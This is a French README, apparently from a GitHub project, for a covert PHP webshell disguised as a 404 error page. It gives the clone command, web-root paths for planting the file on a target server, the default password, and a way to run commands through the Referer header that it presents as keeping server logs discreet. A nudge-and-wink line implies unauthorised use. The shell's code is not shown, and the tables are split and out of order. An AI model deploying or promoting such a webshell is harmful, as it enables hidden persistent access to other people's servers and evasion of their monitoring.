
Webshell PHP furtif déguisé en page d'erreur 404 avec console AJAX, exécution cachée de commandes via l'en-tête Referrer, et actions préconfigurées pour l'accès à un serveur distant.
Clonez ou téléchargez le projet :
git clone --depth=1 https://github.com/CosasDePuma/SecurityNotFound.git
Le fichier src/404.php doit être placé sur le serveur cible et celui-ci doit pouvoir exécuter les fichiers .php.
Voici un exemple de quelques-uns des chemins les plus courants où se trouvent les serveurs :
# 🏁 Windows
C:\Xampp\htdocs\ # Xampp
# 🐧 Linux
/var/www/html/ # Apache
/usr/share/nginx/html/ # Nginx
👮 Évidemment, vous et moi savons que vous avez un accès légitime à ce serveur.
Maintenant, vous pouvez y accéder via le navigateur :
https://www.example.com/404.php

💡 Vous pouvez remplacer le modèle d'erreur 404 du serveur pour accéder depuis n'importe quelle URL invalide.
Pour accéder au panneau de contrôle, appuyez sur la touche TAB ou recherchez le champ mot de passe à l'aide des outils de votre navigateur :

Le mot de passe par défaut est : cosasdepuma.
🥚 Vous pouvez laisser la variable
$passphrasedans le script comme une chaîne vide pour accéder directement au panneau de contrôle.
🔒 Pour définir une valeur personnalisée, insérez votre mot de passe dans la variable
$passphraseaprès avoir appliqué l'algorithmeMD5trois fois de suite.
Une fois connecté, le webshell affichera son véritable aspect :
Le panneau dispose d'une console AJAX et d'un certain nombre d'actions préconfigurées :
| Nom |
|---|
Il est à noter que l'exécution des commandes se fait via l'en-tête "Referrer", dont le contenu est la charge utile exécutée.
Cela présente deux avantages : une plus grande discrétion dans le fichier journal et la possibilité d'exécuter des commandes sans avoir à accéder à l'interface web.
172.18.0.1 - - [25/Jul/2022:04:52:17 +0000] "GET /404.php HTTP/1.1" 404 771 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:21 +0000] "POST /404.php HTTP/1.1" 404 3560 "http://localhost/404.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:27 +0000] "GET /404.php HTTP/1.1" 404 375 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:31 +0000] "GET /404.php HTTP/1.1" 404 470 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:37 +0000] "GET /404.php?p HTTP/1.1" 404 75790 "http://localhost/404.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:41 +0000] "GET /404.php HTTP/1.1" 404 3560 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:43 +0000] "GET /404.php?c HTTP/1.1" 302 373 "http://localhost/404.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:43 +0000] "GET /404.php HTTP/1.1" 404 771 "http://localhost/404.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
Tout ce que je fais et publie peut être utilisé gratuitement tant que je reçois le mérite qui me revient.
Quoi qu'il en soit, si vous souhaitez m'aider de manière plus directe, vous pouvez me laisser un pourboire en cliquant sur ce badge :
| Description |
|---|
| PHP Info | Affiche la page phpinfo();. |
| Geolocate | Affiche sur Google Maps l'endroit où se trouve physiquement le serveur. |
| Exploit-DB (...) | Recherche des exploits compatibles sur exploit-db.com. |
| Log out | Quitte le tableau de bord. |
Nombre de lignes dans access.log | Action |
|---|
| 1 | Accès sans connexion |
| 1 | Accès avec la session déjà démarrée |
| 1 | Connexion |
| 2 | Déconnexion |
| 1 | Exécuter une commande via la console |
| 1 | Plugin : PHP Info |
| 0 | Plugin : Géolocalisation |
| 0 | Plugin : Exploit-DB (...) |